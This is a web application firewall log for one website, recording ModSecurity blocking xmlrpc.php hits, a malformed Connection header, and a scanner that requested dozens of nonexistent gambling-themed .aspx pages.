[Fri May 22 03:30:19.994609 2026] [:error] [pid 9189:tid 9227] [client 177.17.242.217:53043] [client 177.17.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.17.242.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag9dS5vTDh1NbYizKVzwSwAAAgg"]
[Fri May 22 03:30:32.139046 2026] [:error] [pid 49879:tid 49939] [client 177.17.242.217:53450] [client 177.17.242.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.17.242.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag9dWIVqYDjFSyG2gFp-QQAAAFM"]
[Fri May 22 03:58:21.433179 2026] [:error] [pid 14336:tid 14350] [client 49.51.183.220:36832] [client 49.51.183.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag9j3S88l1D7PDtPqGnKeQAAAQw"]
[Fri May 22 04:44:09.463979 2026] [:error] [pid 15679:tid 15684] [client 51.75.119.168:48324] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag9umSh8tgGc38WJ-GxWngAAAMM"]
[Fri May 22 04:44:11.313487 2026] [:error] [pid 58782:tid 58791] [client 51.75.119.168:40762] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag9um4xsdTFafgO8vhSgigAAAQc"]
[Fri May 22 04:44:13.362859 2026] [:error] [pid 15584:tid 15643] [client 51.75.119.168:40766] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ag9und9Z_TVLbNEx52ho3wAAAFc"]
[Fri May 22 04:44:15.155774 2026] [:error] [pid 15679:tid 15698] [client 51.75.119.168:40778] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ag9unyh8tgGc38WJ-GxWoAAAANE"]
[Fri May 22 04:44:17.058616 2026] [:error] [pid 15584:tid 15626] [client 51.75.119.168:40780] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ag9uod9Z_TVLbNEx52ho6gAAAEY"]
[Fri May 22 04:44:18.965604 2026] [:error] [pid 15679:tid 15697] [client 51.75.119.168:34868] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ag9uoih8tgGc38WJ-GxWpQAAANA"]
[Fri May 22 04:44:20.924706 2026] [:error] [pid 15679:tid 15689] [client 51.75.119.168:34884] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ag9upCh8tgGc38WJ-GxWtwAAAMg"]
[Fri May 22 04:44:22.814552 2026] [:error] [pid 15583:tid 15591] [client 51.75.119.168:34888] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ag9upnnaOncRcIm17YVn-wAAAAM"]
[Fri May 22 04:44:24.715032 2026] [:error] [pid 15583:tid 15606] [client 51.75.119.168:34890] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ag9uqHnaOncRcIm17YVn_gAAABI"]
[Fri May 22 04:44:26.613272 2026] [:error] [pid 15583:tid 15605] [client 51.75.119.168:34894] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ag9uqnnaOncRcIm17YVoAAAAABE"]
[Fri May 22 04:44:28.552617 2026] [:error] [pid 58782:tid 58794] [client 51.75.119.168:57260] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ag9urIxsdTFafgO8vhSglwAAAQo"]
[Fri May 22 04:44:30.578648 2026] [:error] [pid 15584:tid 15628] [client 51.75.119.168:57272] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ag9urt9Z_TVLbNEx52hpAAAAAEg"]
[Fri May 22 04:44:32.498077 2026] [:error] [pid 15583:tid 15591] [client 51.75.119.168:57284] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ag9usHnaOncRcIm17YVoBgAAAAM"]
[Fri May 22 04:44:34.382765 2026] [:error] [pid 15679:tid 15686] [client 51.75.119.168:57296] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ag9usih8tgGc38WJ-GxW1gAAAMU"]
[Fri May 22 04:44:36.288528 2026] [:error] [pid 58782:tid 58803] [client 51.75.119.168:57312] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ag9utIxsdTFafgO8vhSgmgAAARM"]
[Fri May 22 04:44:38.201449 2026] [:error] [pid 58813:tid 58839] [client 51.75.119.168:37326] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ag9utp6yyKWDKULhxJ3u3wAAAVc"]
[Fri May 22 04:44:40.246801 2026] [:error] [pid 58813:tid 58834] [client 51.75.119.168:37338] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ag9uuJ6yyKWDKULhxJ3u5AAAAVI"]
[Fri May 22 04:44:42.133121 2026] [:error] [pid 58782:tid 58795] [client 51.75.119.168:37342] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ag9uuoxsdTFafgO8vhSgoQAAAQs"]
[Fri May 22 04:44:44.059983 2026] [:error] [pid 15585:tid 15650] [client 51.75.119.168:37352] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ag9uvCKb-vB41AF-LC0p3AAAAIM"]
[Fri May 22 04:44:45.957684 2026] [:error] [pid 15679:tid 15699] [client 51.75.119.168:37368] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ag9uvSh8tgGc38WJ-GxW2AAAANI"]
[Fri May 22 04:44:47.733646 2026] [:error] [pid 15584:tid 15629] [client 51.75.119.168:53630] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ag9uv99Z_TVLbNEx52hpCwAAAEk"]
[Fri May 22 04:44:49.612392 2026] [:error] [pid 15584:tid 15644] [client 51.75.119.168:53640] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ag9uwd9Z_TVLbNEx52hpDwAAAFg"]
[Fri May 22 04:44:51.518222 2026] [:error] [pid 58813:tid 58836] [client 51.75.119.168:53654] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ag9uw56yyKWDKULhxJ3u8AAAAVQ"]
[Fri May 22 04:44:53.442425 2026] [:error] [pid 15585:tid 15651] [client 51.75.119.168:53656] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ag9uxSKb-vB41AF-LC0p3wAAAIQ"]
[Fri May 22 04:44:55.329365 2026] [:error] [pid 15585:tid 15655] [client 51.75.119.168:53658] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ag9uxyKb-vB41AF-LC0p4QAAAIg"]
[Fri May 22 04:44:57.231647 2026] [:error] [pid 15583:tid 15597] [client 51.75.119.168:53674] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ag9uyXnaOncRcIm17YVoDwAAAAk"]
[Fri May 22 04:44:58.980972 2026] [:error] [pid 15679:tid 15701] [client 51.75.119.168:43758] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ag9uyih8tgGc38WJ-GxW6gAAANQ"]
[Fri May 22 04:45:00.878689 2026] [:error] [pid 58813:tid 58837] [client 51.75.119.168:43774] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ag9uzJ6yyKWDKULhxJ3u9wAAAVU"]
[Fri May 22 04:45:02.797506 2026] [:error] [pid 15584:tid 15631] [client 51.75.119.168:43788] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ag9uzt9Z_TVLbNEx52hpHQAAAEs"]
[Fri May 22 04:45:04.690105 2026] [:error] [pid 15584:tid 15636] [client 51.75.119.168:43796] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ag9u0N9Z_TVLbNEx52hpIQAAAFA"]
[Fri May 22 04:45:38.873205 2026] [:error] [pid 15583:tid 15601] [client 51.75.119.168:43808] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ag9u8nnaOncRcIm17YVoQgAAAA0"]
[Fri May 22 04:45:40.844660 2026] [:error] [pid 15679:tid 15701] [client 51.75.119.168:41428] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ag9u9Ch8tgGc38WJ-GxXOgAAANQ"]
[Fri May 22 04:45:42.876449 2026] [:error] [pid 58782:tid 58808] [client 51.75.119.168:41444] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ag9u9oxsdTFafgO8vhSgsQAAARg"]
[Fri May 22 04:45:44.739523 2026] [:error] [pid 15679:tid 15685] [client 51.75.119.168:41460] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ag9u-Ch8tgGc38WJ-GxXPAAAAMQ"]
[Fri May 22 04:45:46.792715 2026] [:error] [pid 58813:tid 58836] [client 51.75.119.168:41470] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ag9u-p6yyKWDKULhxJ3vDwAAAVQ"]
[Fri May 22 04:45:48.713715 2026] [:error] [pid 15583:tid 15602] [client 51.75.119.168:58150] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ag9u_HnaOncRcIm17YVoRQAAAA4"]
[Fri May 22 04:45:50.751175 2026] [:error] [pid 15584:tid 15634] [client 51.75.119.168:58162] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag9u_t9Z_TVLbNEx52hpRgAAAE4"]
[Fri May 22 04:45:52.793071 2026] [:error] [pid 15679:tid 15698] [client 51.75.119.168:58176] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ag9vACh8tgGc38WJ-GxXPQAAANE"]
[Fri May 22 04:45:54.680463 2026] [:error] [pid 15583:tid 15601] [client 51.75.119.168:58178] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ag9vAnnaOncRcIm17YVoTAAAAA0"]
[Fri May 22 04:45:56.721587 2026] [:error] [pid 15583:tid 15608] [client 51.75.119.168:58180] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ag9vBHnaOncRcIm17YVoUQAAABQ"]
[Fri May 22 04:45:58.616952 2026] [:error] [pid 15583:tid 15599] [client 51.75.119.168:36102] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ag9vBnnaOncRcIm17YVoVgAAAAs"]
[Fri May 22 04:46:00.635186 2026] [:error] [pid 15679:tid 15701] [client 51.75.119.168:36110] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ag9vCCh8tgGc38WJ-GxXTgAAANQ"]
[Fri May 22 04:46:02.485253 2026] [:error] [pid 58782:tid 58798] [client 51.75.119.168:36114] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ag9vCoxsdTFafgO8vhSgvAAAAQ4"]
[Fri May 22 04:46:04.368800 2026] [:error] [pid 15585:tid 15666] [client 51.75.119.168:36122] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ag9vDCKb-vB41AF-LC0qFQAAAJM"]
[Fri May 22 04:46:06.402643 2026] [:error] [pid 15583:tid 15599] [client 51.75.119.168:36128] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ag9vDnnaOncRcIm17YVoXAAAAAs"]
[Fri May 22 04:46:08.426433 2026] [:error] [pid 15679:tid 15695] [client 51.75.119.168:50834] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ag9vECh8tgGc38WJ-GxXXQAAAM4"]
[Fri May 22 04:46:10.302667 2026] [:error] [pid 15585:tid 15653] [client 51.75.119.168:50850] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ag9vEiKb-vB41AF-LC0qHAAAAIY"]
[Fri May 22 04:46:12.324229 2026] [:error] [pid 15679:tid 15692] [client 51.75.119.168:50864] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ag9vFCh8tgGc38WJ-GxXaAAAAMs"]
[Fri May 22 04:46:14.356174 2026] [:error] [pid 58782:tid 58790] [client 51.75.119.168:50874] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ag9vFoxsdTFafgO8vhSg4AAAAQY"]
[Fri May 22 04:46:16.209465 2026] [:error] [pid 15679:tid 15702] [client 51.75.119.168:50882] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ag9vGCh8tgGc38WJ-GxXeAAAANU"]
[Fri May 22 04:46:18.238891 2026] [:error] [pid 15679:tid 15691] [client 51.75.119.168:56584] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ag9vGih8tgGc38WJ-GxXfQAAAMo"]
[Fri May 22 04:46:20.258033 2026] [:error] [pid 15679:tid 15694] [client 51.75.119.168:56596] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ag9vHCh8tgGc38WJ-GxXhQAAAM0"]
